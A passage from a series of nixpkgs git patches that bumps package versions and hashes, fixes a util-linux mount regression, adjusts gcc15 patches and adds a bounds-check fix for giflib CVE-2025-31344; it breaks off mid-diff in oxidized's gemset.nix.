diff --git a/pkgs/by-name/co/containerd/package.nix b/pkgs/by-name/co/containerd/package.nix
index ad25a106c215..3d2016a256cd 100644
--- a/pkgs/by-name/co/containerd/package.nix
+++ b/pkgs/by-name/co/containerd/package.nix
@@ -16,7 +16,7 @@
 
 buildGoModule rec {
   pname = "containerd";
-  version = "2.0.5";
+  version = "2.1.0";
 
   outputs = [
     "out"
@@ -27,7 +27,7 @@ buildGoModule rec {
     owner = "containerd";
     repo = "containerd";
     tag = "v${version}";
-    hash = "sha256-BY6lIzTlJbBbeIxCtSd7NcYVEWta3VNMmHmH97ksGsE=";
+    hash = "sha256-5Fd9LrpJUf5MEtfQaRM6zo5C8RUsOasR2NHCDj8vMBk=";
   };
 
   postPatch = "patchShebangs .";

From b6cc6b0c0a467ccfd7fa7badb952c0b5c0ef1341 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 23 May 2025 16:47:07 +0000
Subject: [PATCH 0137/4511] budgie-analogue-clock-applet: 2.1 -> 2.2

(cherry picked from commit 3811110f9958c1ca6725dee86e1dad51ab095172)
---
 pkgs/by-name/bu/budgie-analogue-clock-applet/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/bu/budgie-analogue-clock-applet/package.nix b/pkgs/by-name/bu/budgie-analogue-clock-applet/package.nix
index 6031bb405457..bd0b1dcf1d0e 100644
--- a/pkgs/by-name/bu/budgie-analogue-clock-applet/package.nix
+++ b/pkgs/by-name/bu/budgie-analogue-clock-applet/package.nix
@@ -14,13 +14,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "budgie-analogue-clock-applet";
-  version = "2.1";
+  version = "2.2";
 
   src = fetchFromGitHub {
     owner = "samlane-ma";
     repo = "analogue-clock-applet";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-NvXX5paRrjeJFqnOeJS9yNp+7cRohsN3+eocLqvcVj8=";
+    hash = "sha256-8kqDEzcUqg/TvwpazYQt1oQDVC00fOxFLVsKYMDuV9I=";
   };
 
   nativeBuildInputs = [

From ef59036a067f08a1faa74ffd32cae961bfecd84f Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Sat, 17 May 2025 04:21:47 +0200
Subject: [PATCH 0138/4511] cargo-tauri.hook: fix installation when $out
 already exists

(cherry picked from commit eb6d1a086e5d4c002cc054563ffb3c18439cb9de)
---
 pkgs/by-name/ca/cargo-tauri/hook.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/ca/cargo-tauri/hook.nix b/pkgs/by-name/ca/cargo-tauri/hook.nix
index bc1d57f52356..4683e5a2ac5c 100644
--- a/pkgs/by-name/ca/cargo-tauri/hook.nix
+++ b/pkgs/by-name/ca/cargo-tauri/hook.nix
@@ -42,7 +42,8 @@ makeSetupHook {
         '';
 
         linux = ''
-          mv "$targetDir"/bundle/deb/*/data/usr $out
+          mkdir -p $out
+          mv "$targetDir"/bundle/deb/*/data/usr/* $out/
         '';
       }
       .${kernelName} or (throw "${kernelName} is not supported by cargo-tauri.hook");

From b406bb5037f4a68a5b3038fe94cc7005408304cb Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Thu, 22 May 2025 22:29:12 +0200
Subject: [PATCH 0139/4511] linux_xanmod: 6.12.28 -> 6.12.30

(cherry picked from commit 3aa5e9ac6bf873c771c87fc982341cc2e749670e)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index ec5c1056188c..a6de49ae3931 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -14,8 +14,8 @@ let
   # kernel config in the xanmod version commit
   variants = {
     lts = {
-      version = "6.12.28";
-      hash = "sha256-afmAC1tdiggI2qN1Kf9fJiUJqC9d8gzTj5PAg7wsiuw=";
+      version = "6.12.30";
+      hash = "sha256-OqO41rbb3nBegL+ZjgqR0RGwrka6oLv0QOYXJ8Wdpv8=";
     };
     main = {
       version = "6.14.6";

From d08e3a635b2c89930ce42e58e343e21bebb4c4c9 Mon Sep 17 00:00:00 2001
From: eljamm <fedi.jamoussi@protonmail.ch>
Date: Thu, 22 May 2025 22:29:22 +0200
Subject: [PATCH 0140/4511] linux_xanmod_latest: 6.14.6 -> 6.14.8

(cherry picked from commit 905d8b756529b9682d23d4aacfc5d05ab87ab727)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index a6de49ae3931..174be9aacc18 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -18,8 +18,8 @@ let
       hash = "sha256-OqO41rbb3nBegL+ZjgqR0RGwrka6oLv0QOYXJ8Wdpv8=";
     };
     main = {
-      version = "6.14.6";
-      hash = "sha256-wI383p+g03RrNUkPdo0TnB1n5yZI7bGwcSjB/9HpQH0=";
+      version = "6.14.8";
+      hash = "sha256-ap3NaM/pk+TWg3RBRxFJPwnfv2n042r47bo66jhj3ck=";
     };
   };
 

From 6486104715b5526647a82338bf32ba93f236f2e4 Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Tue, 27 May 2025 22:23:02 +0100
Subject: [PATCH 0141/4511] gcc15: apply forgotten no-sys-dirs and
 mangle-NIX_STORE patches

(cherry picked from commit 37ce8aa45973884653284335d79b9b20b7e5d142)
---
 pkgs/development/compilers/gcc/patches/default.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/development/compilers/gcc/patches/default.nix b/pkgs/development/compilers/gcc/patches/default.nix
index 598c42a48d3e..ee1adfd43e0c 100644
--- a/pkgs/development/compilers/gcc/patches/default.nix
+++ b/pkgs/development/compilers/gcc/patches/default.nix
@@ -67,6 +67,10 @@ in
   [ (if atLeast12 then ./gcc-12-no-sys-dirs.patch else ./no-sys-dirs.patch) ]
   ++ (
     {
+      "15" = [
+        ./13/no-sys-dirs-riscv.patch
+        ./13/mangle-NIX_STORE-in-__FILE__.patch
+      ];
       "14" = [
         ./13/no-sys-dirs-riscv.patch
         ./13/mangle-NIX_STORE-in-__FILE__.patch

From 5589239c326b0aed1b352eff1c2114a61ad2c715 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Fri, 16 May 2025 22:53:46 +0200
Subject: [PATCH 0142/4511] vencord: 1.12.1 -> 1.12.2

(cherry picked from commit 277a3f207d7403b25639db9e3f8f1154769f2b31)
---
 pkgs/by-name/ve/vencord/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ve/vencord/package.nix b/pkgs/by-name/ve/vencord/package.nix
index 86fdb752e0a7..5d5ecefbee0d 100644
--- a/pkgs/by-name/ve/vencord/package.nix
+++ b/pkgs/by-name/ve/vencord/package.nix
@@ -15,13 +15,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "vencord";
-  version = "1.12.1";
+  version = "1.12.2";
 
   src = fetchFromGitHub {
     owner = "Vendicated";
     repo = "Vencord";
     rev = "v${finalAttrs.version}";
-    hash = "sha256-Vs6S8N3q5JzXfeogfD0JrVIhMnYIio7+Dfy12gUJrlU=";
+    hash = "sha256-a4lbeuXEHDMDko8wte7jUdJ0yUcjfq3UPQAuSiz1UQU=";
   };
 
   pnpmDeps = pnpm_10.fetchDeps {

From 39a7b5b903331be10f8bae212a98ec9dc2f3879f Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 26 May 2025 10:37:32 +0000
Subject: [PATCH 0143/4511] ed-odyssey-materials-helper: 2.173 -> 2.178

(cherry picked from commit 1d1e72f7e93947e0bdd7b564448772a04f3d19a9)
---
 pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json   | 8 ++++----
 pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix | 4 ++--
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json b/pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json
index cc345d6abf3f..8f96bfec3d6f 100644
--- a/pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json
+++ b/pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json
@@ -493,10 +493,10 @@
    "module": "sha256-rwV/vBEyR6Pp/cYOWU+dh2xPW8oZy4sb2myBGP9ixpU=",
    "pom": "sha256-EeldzI+ywwumAH/f9GxW+HF2/lwwLFGEQThZEk1Tq60="
   },
-  "io/sentry#sentry/8.11.1": {
-   "jar": "sha256-0EmSqkQXOQazcYAmpRyUMXDc663czsRTtszYAdGuZkg=",
-   "module": "sha256-x4i43VQ1Avv5hy7X11gvLfBPZwEzEoWb0fgun5sqgRM=",
-   "pom": "sha256-Fcd/SfMLh3uTBDq5O05T5KlFDlXxgWz+++/2fd47X2c="
+  "io/sentry#sentry/8.12.0": {
+   "jar": "sha256-LkfktB4/El/cgKUS1fUaA5DRD9haWRHR+A5im7p3AAQ=",
+   "module": "sha256-LrKRmE4DJppwx0nCTSBwZHF9Rw8ex1lAD96birtXim4=",
+   "pom": "sha256-pwlifFbJHCooUNMFXPWWFTk+TCEMcMojMEpifX9SAlg="
   },
   "jakarta/json/bind#jakarta.json.bind-api/2.0.0": {
    "jar": "sha256-peYGtYiLQStIkHrWiLNN/k4wroGJxvJ8wEkbjzwDYoc=",
diff --git a/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix b/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
index 0605d65747e1..f24b30fc7263 100644
--- a/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
+++ b/pkgs/by-name/ed/ed-odyssey-materials-helper/package.nix
@@ -16,13 +16,13 @@
 }:
 stdenv.mkDerivation rec {
   pname = "ed-odyssey-materials-helper";
-  version = "2.173";
+  version = "2.178";
 
   src = fetchFromGitHub {
     owner = "jixxed";
     repo = "ed-odyssey-materials-helper";
     tag = version;
-    hash = "sha256-PW5AnplciFenupASEqXA7NqQrH14Wfz1SSm1c/LWA7A=";
+    hash = "sha256-a/nrRw5FjUZBJE0CmSevGAw4LBI/A3jPAEJfg7GY5+U=";
   };
 
   nativeBuildInputs = [

From b70766579ce18f44c67ec1b1d607ced920270c93 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 27 May 2025 15:34:15 +0000
Subject: [PATCH 0144/4511] containerd: 2.1.0 -> 2.1.1

(cherry picked from commit 485e4e08cd9f7959430d7544b4cfcda46f982a87)
---
 pkgs/by-name/co/containerd/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/co/containerd/package.nix b/pkgs/by-name/co/containerd/package.nix
index 3d2016a256cd..555f0bc2fe80 100644
--- a/pkgs/by-name/co/containerd/package.nix
+++ b/pkgs/by-name/co/containerd/package.nix
@@ -16,7 +16,7 @@
 
 buildGoModule rec {
   pname = "containerd";
-  version = "2.1.0";
+  version = "2.1.1";
 
   outputs = [
     "out"
@@ -27,7 +27,7 @@ buildGoModule rec {
     owner = "containerd";
     repo = "containerd";
     tag = "v${version}";
-    hash = "sha256-5Fd9LrpJUf5MEtfQaRM6zo5C8RUsOasR2NHCDj8vMBk=";
+    hash = "sha256-ZqQX+bogzAsMvqYNKyWvHF2jdPOIhNQDizKEDbcbmOg=";
   };
 
   postPatch = "patchShebangs .";

From 575b783cf116560d36993a598fc3f58c14c32d22 Mon Sep 17 00:00:00 2001
From: RockWolf <git@rockwolf.eu>
Date: Sat, 10 May 2025 18:43:50 +0200
Subject: [PATCH 0145/4511] util-linux: fix mount regression

(cherry picked from commit 97e21e3f5f7f8dbd95926b578c63df47875ef5a3)
---
 .../ut/util-linux/fix-mount-regression.patch  | 39 +++++++++++++++++++
 pkgs/by-name/ut/util-linux/package.nix        |  2 +
 2 files changed, 41 insertions(+)
 create mode 100644 pkgs/by-name/ut/util-linux/fix-mount-regression.patch

diff --git a/pkgs/by-name/ut/util-linux/fix-mount-regression.patch b/pkgs/by-name/ut/util-linux/fix-mount-regression.patch
new file mode 100644
index 000000000000..973ba7493e7d
--- /dev/null
+++ b/pkgs/by-name/ut/util-linux/fix-mount-regression.patch
@@ -0,0 +1,39 @@
+From 7dbfe31a83f45d5aef2b508697e9511c569ffbc8 Mon Sep 17 00:00:00 2001
+From: Karel Zak <kzak@redhat.com>
+Date: Mon, 24 Mar 2025 14:31:05 +0100
+Subject: [PATCH] libmount: fix --no-canonicalize regression
+
+Fixes: https://github.com/util-linux/util-linux/issues/3474
+Signed-off-by: Karel Zak <kzak@redhat.com>
+---
+ libmount/src/context.c | 3 ---
+ sys-utils/mount.8.adoc | 2 +-
+ 2 files changed, 1 insertion(+), 4 deletions(-)
+
+diff --git a/libmount/src/context.c b/libmount/src/context.c
+index 0323cb23d34..15a8ad3bbd0 100644
+--- a/libmount/src/context.c
++++ b/libmount/src/context.c
+@@ -530,9 +530,6 @@ int mnt_context_is_xnocanonicalize(
+ 	assert(cxt);
+ 	assert(type);
+ 
+-	if (mnt_context_is_nocanonicalize(cxt))
+-		return 1;
+-
+ 	ol = mnt_context_get_optlist(cxt);
+ 	if (!ol)
+ 		return 0;
+diff --git a/sys-utils/mount.8.adoc b/sys-utils/mount.8.adoc
+index 4f23f8d1f0e..5103b91c578 100644
+--- a/sys-utils/mount.8.adoc
++++ b/sys-utils/mount.8.adoc
+@@ -756,7 +756,7 @@ Allow to make a target directory (mountpoint) if it does not exist yet. The opti
+ *X-mount.nocanonicalize*[**=**_type_]::
+ Allows disabling of canonicalization for mount source and target paths. By default, the `mount` command resolves all paths to their absolute paths without symlinks. However, this behavior may not be desired in certain situations, such as when binding a mount over a symlink, or a symlink over a directory or another symlink. The optional argument _type_ can be either "source" or "target" (mountpoint). If no _type_ is specified, then canonicalization is disabled for both types. This mount option does not affect the conversion of source tags (e.g. LABEL= or UUID=) and fstab processing.
+ +
+-The command line option *--no-canonicalize* overrides this mount option and affects all path and tag conversions in all situations, but it does not modify flags for open_tree syscalls.
++The command-line option *--no-canonicalize* overrides this mount option and affects all path and tag conversions in all situations, but for backward compatibility, it does not modify open_tree syscall flags and does not allow the bind-mount over a symlink use case.
+ +
+ Note that *mount*(8) still sanitizes and canonicalizes the source and target paths specified on the command line by non-root users, regardless of the X-mount.nocanonicalize setting.
+ 
diff --git a/pkgs/by-name/ut/util-linux/package.nix b/pkgs/by-name/ut/util-linux/package.nix
index eef5a90698c7..1964f661d167 100644
--- a/pkgs/by-name/ut/util-linux/package.nix
+++ b/pkgs/by-name/ut/util-linux/package.nix
@@ -48,6 +48,8 @@ stdenv.mkDerivation rec {
       ./rtcwake-search-PATH-for-shutdown.patch
       # https://github.com/util-linux/util-linux/pull/3013
       ./fix-darwin-build.patch
+      # https://github.com/util-linux/util-linux/pull/3479 (fixes https://github.com/util-linux/util-linux/issues/3474)
+      ./fix-mount-regression.patch
     ]
     ++ lib.optionals (!stdenv.hostPlatform.isLinux) [
       (fetchurl {

From 35f1048583a60f9e9e69987a0654c0749420d526 Mon Sep 17 00:00:00 2001
From: Markus Kowalewski <markus.kowalewski@gmail.com>
Date: Mon, 26 May 2025 14:58:00 +0200
Subject: [PATCH 0146/4511] prrte: 3.0.10 -> 3.0.11

(cherry picked from commit fb2803a6422b607f6926cf1a3e0a2dedcffaea83)
---
 pkgs/by-name/pr/prrte/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/pr/prrte/package.nix b/pkgs/by-name/pr/prrte/package.nix
index 075e86594fb3..7e9b68ddceb8 100644
--- a/pkgs/by-name/pr/prrte/package.nix
+++ b/pkgs/by-name/pr/prrte/package.nix
@@ -18,13 +18,13 @@
 
 stdenv.mkDerivation rec {
   pname = "prrte";
-  version = "3.0.10";
+  version = "3.0.11";
 
   src = fetchFromGitHub {
     owner = "openpmix";
     repo = "prrte";
     rev = "v${version}";
-    hash = "sha256-Pnm0t7dJhT0MEYEKBHh6l16V5b/zOSxsd5OWda5SIzI=";
+    hash = "sha256-4JEh4N/38k0Xgp0CqnFipaEZlJBQr8nyxoncyz0/7yo=";
     fetchSubmodules = true;
   };
 

From c51600518c1635803d0c38b307a8807019af3d6e Mon Sep 17 00:00:00 2001
From: misuzu <bakalolka@gmail.com>
Date: Wed, 21 May 2025 11:50:32 +0300
Subject: [PATCH 0147/4511] libadwaita: increase tests timeout to 300 seconds

The `libadwaita:doc / Validate docs` test fails on VF2 because of 30 seconds timeout.

(cherry picked from commit 84794e6b39982ce300d91419753414cbcefa78fd)
---
 pkgs/by-name/li/libadwaita/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/li/libadwaita/package.nix b/pkgs/by-name/li/libadwaita/package.nix
index 3a224ecaa0e1..f1d24e5db256 100644
--- a/pkgs/by-name/li/libadwaita/package.nix
+++ b/pkgs/by-name/li/libadwaita/package.nix
@@ -105,7 +105,7 @@ stdenv.mkDerivation (finalAttrs: {
       "HOME=$TMPDIR"
     )
     env "''${testEnvironment[@]}" ${lib.optionalString (!stdenv.hostPlatform.isDarwin) "xvfb-run"} \
-      meson test --print-errorlogs
+      meson test --timeout-multiplier 10 --print-errorlogs
 
     runHook postCheck
   '';

From ca3de18feabe13f9e594288251c01e3adc65ef93 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 25 May 2025 17:59:03 +0000
Subject: [PATCH 0148/4511] vscode-extensions.maximedenes.vscoq: 2.2.5 -> 2.2.6

(cherry picked from commit 3371e0d6df311e0c9d9c962b605800d3251a1bb8)
---
 pkgs/applications/editors/vscode/extensions/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/editors/vscode/extensions/default.nix b/pkgs/applications/editors/vscode/extensions/default.nix
index 54c52d8f98a7..59371335fb35 100644
--- a/pkgs/applications/editors/vscode/extensions/default.nix
+++ b/pkgs/applications/editors/vscode/extensions/default.nix
@@ -3141,8 +3141,8 @@ let
         mktplcRef = {
           publisher = "maximedenes";
           name = "vscoq";
-          version = "2.2.5";
-          hash = "sha256-ctaeTgdK1JijSI3YD54iWEBNVrbaad408wD43fH78h4=";
+          version = "2.2.6";
+          hash = "sha256-QBUTOFhdksHGkpYqgQIF2u+WodYH5PmMMvGFHwEEEIk=";
         };
         meta = {
           description = "VsCoq is an extension for Visual Studio Code (VS Code) and VSCodium with support for the Coq Proof Assistant";

From 4fb382bf711039313312f7545a08379600d5156d Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Mon, 7 Apr 2025 23:05:40 +0200
Subject: [PATCH 0149/4511] giflib: patch CVE-2025-31344

Pulled from https://github.com/OpenMandrivaAssociation/giflib/blob/master/giflib-5.2.2-cve-2025-31344.patch

(cherry picked from commit ca159cd3b80fd87e7a5d49c8f981b6b776ce8d57)
---
 pkgs/by-name/gi/giflib/CVE-2025-31344.patch | 15 +++++++++++++++
 pkgs/by-name/gi/giflib/package.nix          |  1 +
 2 files changed, 16 insertions(+)
 create mode 100644 pkgs/by-name/gi/giflib/CVE-2025-31344.patch

diff --git a/pkgs/by-name/gi/giflib/CVE-2025-31344.patch b/pkgs/by-name/gi/giflib/CVE-2025-31344.patch
new file mode 100644
index 000000000000..04ef6c3ba755
--- /dev/null
+++ b/pkgs/by-name/gi/giflib/CVE-2025-31344.patch
@@ -0,0 +1,15 @@
+diff -up giflib-5.2.2/gif2rgb.c.omv~ giflib-5.2.2/gif2rgb.c
+--- giflib-5.2.2/gif2rgb.c.omv~	2025-04-07 21:44:54.956355983 +0200
++++ giflib-5.2.2/gif2rgb.c	2025-04-07 21:45:29.630769589 +0200
+@@ -329,6 +329,11 @@ static void DumpScreen2RGB(char *FileNam
+ 			GifRow = ScreenBuffer[i];
+ 			GifQprintf("\b\b\b\b%-4d", ScreenHeight - i);
+ 			for (j = 0; j < ScreenWidth; j++) {
++				/* Check if color is within color palete */
++				if (GifRow[j] >= ColorMap->ColorCount) {
++					GIF_EXIT(GifErrorString(
++					    D_GIF_ERR_IMAGE_DEFECT));
++				}
+ 				ColorMapEntry = &ColorMap->Colors[GifRow[j]];
+ 				Buffers[0][j] = ColorMapEntry->Red;
+ 				Buffers[1][j] = ColorMapEntry->Green;
diff --git a/pkgs/by-name/gi/giflib/package.nix b/pkgs/by-name/gi/giflib/package.nix
index 534ff1a7ca81..b1c4a62a2ee4 100644
--- a/pkgs/by-name/gi/giflib/package.nix
+++ b/pkgs/by-name/gi/giflib/package.nix
@@ -18,6 +18,7 @@ stdenv.mkDerivation rec {
   patches =
     [
       ./CVE-2021-40633.patch
+      ./CVE-2025-31344.patch
     ]
     ++ lib.optionals stdenv.hostPlatform.isMinGW [
       # Build dll libraries.

From efa15c3f74637769a0ac6399fb09709f8058797d Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Sat, 24 May 2025 17:10:04 +0300
Subject: [PATCH 0150/4511] gallery-dl: 1.29.6 -> 1.29.7

Chnagelog: https://github.com/mikf/gallery-dl/releases/tag/v1.29.7
Diff: https://github.com/mikf/gallery-dl/compare/v1.29.6...v1.29.7
(cherry picked from commit 4a3054643c136123715e0214031e2a7e610ec818)
---
 pkgs/by-name/ga/gallery-dl/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ga/gallery-dl/package.nix b/pkgs/by-name/ga/gallery-dl/package.nix
index a1d16594344b..acc5f57b012f 100644
--- a/pkgs/by-name/ga/gallery-dl/package.nix
+++ b/pkgs/by-name/ga/gallery-dl/package.nix
@@ -8,7 +8,7 @@
 
 let
   pname = "gallery-dl";
-  version = "1.29.6";
+  version = "1.29.7";
 in
 python3Packages.buildPythonApplication {
   inherit pname version;
@@ -18,7 +18,7 @@ python3Packages.buildPythonApplication {
     owner = "mikf";
     repo = "gallery-dl";
     tag = "v${version}";
-    hash = "sha256-D/HPAnIwCAfwzBrteGkZSMHFvXDPQLF4bHKDwppdkzc=";
+    hash = "sha256-OngtJ6E7Gvr+/5Vjv1vepPVVksNDRlXZkU9yMYRvh2k=";
   };
 
   build-system = [ python3Packages.setuptools ];

From d5445dcef34a8117ed82c4417e4b1df876036e11 Mon Sep 17 00:00:00 2001
From: Neyts Zupan <zupo@users.noreply.github.com>
Date: Mon, 19 May 2025 21:44:10 +0100
Subject: [PATCH 0151/4511] paretosecurity: 0.2.17 -> 0.2.23

(cherry picked from commit 0e11c494801f43cc09cb7c557cf7b2fcf8112e13)
---
 pkgs/by-name/pa/paretosecurity/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/pa/paretosecurity/package.nix b/pkgs/by-name/pa/paretosecurity/package.nix
index 13a848fc5880..0fa9e08fa4ce 100644
--- a/pkgs/by-name/pa/paretosecurity/package.nix
+++ b/pkgs/by-name/pa/paretosecurity/package.nix
@@ -17,16 +17,16 @@ buildGoModule (finalAttrs: {
     webkitgtk_4_1
   ];
   pname = "paretosecurity";
-  version = "0.2.17";
+  version = "0.2.23";
 
   src = fetchFromGitHub {
     owner = "ParetoSecurity";
     repo = "agent";
     rev = finalAttrs.version;
-    hash = "sha256-2Ev6LJWa+iPV7/Y/o9HrNf4vR4dbnIOim+qb4HdRXqU=";
+    hash = "sha256-jqjfaTvbwp/3P3E7eYv8CFaaYNjPfnbrFIzD6JcccV4=";
   };
 
-  vendorHash = "sha256-YnyACP/hJYxi4AWMwr0We4YUTbWwahKAIYN6RnHmzls=";
+  vendorHash = "sha256-v9M1CX6mIK8MdaI5TVa0Uc+HnIy+oCg+vYlH3eU809Q=";
   proxyVendor = true;
 
   # Skip building the Windows installer

From 57fea75c0b9ec9a8d0d1597adfec8ba99ec9bb23 Mon Sep 17 00:00:00 2001
From: Jon Seager <jon@sgrs.uk>
Date: Wed, 28 May 2025 11:47:19 +0100
Subject: [PATCH 0152/4511] google-chrome: 136.0.7103.113->137.0.7151.55

(cherry picked from commit 99c53376ed0273ef8200f3c27157b4199e9e38e9)
---
 pkgs/by-name/go/google-chrome/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/go/google-chrome/package.nix b/pkgs/by-name/go/google-chrome/package.nix
index a9dc1a5ce219..e14866776f08 100644
--- a/pkgs/by-name/go/google-chrome/package.nix
+++ b/pkgs/by-name/go/google-chrome/package.nix
@@ -171,11 +171,11 @@ let
 
   linux = stdenv.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "136.0.7103.113";
+    version = "137.0.7151.55";
 
     src = fetchurl {
       url = "https://dl.google.com/linux/chrome/deb/pool/main/g/google-chrome-stable/google-chrome-stable_${finalAttrs.version}-1_amd64.deb";
-      hash = "sha256-BnKKu7X34g+zg4rDqjVXT3Kx2E8Gn5ELqs3LQS3GCkg=";
+      hash = "sha256-Q4zf60OQN/2NRozssVrnmbYWGRm05Mt2/6LozfENzgM=";
     };
 
     # With strictDeps on, some shebangs were not being patched correctly
@@ -276,11 +276,11 @@ let
 
   darwin = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "137.0.7151.41";
+    version = "137.0.7151.56";
 
     src = fetchurl {
-      url = "http://dl.google.com/release2/chrome/acracoudzvaateoc4hi5umv6pobq_137.0.7151.41/GoogleChrome-137.0.7151.41.dmg";
-      hash = "sha256-egOl4mjsIxjWxYTLI38U2LqrIs85+cmZG9oEXe/bF7Q=";
+      url = "http://dl.google.com/release2/chrome/acps6il5fco5kfidgoaidec3sdha_137.0.7151.56/GoogleChrome-137.0.7151.56.dmg";
+      hash = "sha256-nFk2qg8+9gipnG+4u1sRO4Uq5Iv4TVvxaTETHzF+huw=";
     };
 
     dontPatch = true;

From d71a50a0da5352c9a9e76f2db39d8d8f2327edee Mon Sep 17 00:00:00 2001
From: liberodark <liberodark@gmail.com>
Date: Thu, 15 May 2025 09:07:19 +0200
Subject: [PATCH 0153/4511] oxidized: add ssh support

(cherry picked from commit d1e73a2a93cbe95a33531a95998567f32dfc0241)
---
 pkgs/by-name/ox/oxidized/.bundle/config |  1 +
 pkgs/by-name/ox/oxidized/Gemfile.lock   | 10 +++++-----
 pkgs/by-name/ox/oxidized/gemset.nix     | 20 ++++++++++----------
 3 files changed, 16 insertions(+), 15 deletions(-)
 create mode 100644 pkgs/by-name/ox/oxidized/.bundle/config

diff --git a/pkgs/by-name/ox/oxidized/.bundle/config b/pkgs/by-name/ox/oxidized/.bundle/config
new file mode 100644
index 000000000000..ccff7eafdc14
--- /dev/null
+++ b/pkgs/by-name/ox/oxidized/.bundle/config
@@ -0,0 +1 @@
+BUNDLE_BUILD__RUGGED: --with-ssh
diff --git a/pkgs/by-name/ox/oxidized/Gemfile.lock b/pkgs/by-name/ox/oxidized/Gemfile.lock
index 667fe8266d0d..84ab95bf8dd6 100644
--- a/pkgs/by-name/ox/oxidized/Gemfile.lock
+++ b/pkgs/by-name/ox/oxidized/Gemfile.lock
@@ -8,7 +8,7 @@ GEM
     bcrypt_pbkdf (1.1.1-x86_64-darwin)
     charlock_holmes (0.7.9)
     date (3.4.1)
-    ed25519 (1.3.0)
+    ed25519 (1.4.0)
     emk-sinatra-url-for (0.2.1)
       sinatra (>= 0.9.1.1)
     haml (6.3.0)
@@ -16,7 +16,7 @@ GEM
       thor
       tilt
     htmlentities (4.3.4)
-    json (2.11.3)
+    json (2.12.0)
     logger (1.7.0)
     multi_json (1.15.0)
     mustermann (3.0.3)
@@ -60,17 +60,17 @@ GEM
       puma (>= 3.11.4)
       sinatra (>= 1.4.6)
       sinatra-contrib (>= 1.4.6)
-    psych (5.2.3)
+    psych (5.2.6)
       date
       stringio
     puma (6.6.0)
       nio4r (~> 2.0)
-    rack (3.1.13)
+    rack (3.1.14)
     rack-protection (4.1.1)
       base64 (>= 0.1.0)
       logger (>= 1.6.0)
       rack (>= 3.0.0, < 4)
-    rack-session (2.1.0)
+    rack-session (2.1.1)
       base64 (>= 0.1.0)
       rack (>= 3.0.0)
     ruby2_keywords (0.0.5)
diff --git a/pkgs/by-name/ox/oxidized/gemset.nix b/pkgs/by-name/ox/oxidized/gemset.nix
index c946d8773f98..b97b55961bfc 100644
--- a/pkgs/by-name/ox/oxidized/gemset.nix
+++ b/pkgs/by-name/ox/oxidized/gemset.nix
@@ -54,10 +54,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0zb2dr2ihb1qiknn5iaj1ha1w9p7lj9yq5waasndlfadz225ajji";
+      sha256 = "01n5rbyws1ijwc5dw7s88xx3zzacxx9k97qn8x11b6k8k18pzs8n";
       type = "gem";
     };
-    version = "1.3.0";
+    version = "1.4.0";
   };
   emk-sinatra-url-for = {
     dependencies = [ "sinatra" ];
@@ -100,10 +100,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1hfcz73wszgqprg2pr83qjbyfb0k93frbdvyhgmw0ryyl9cgc44s";
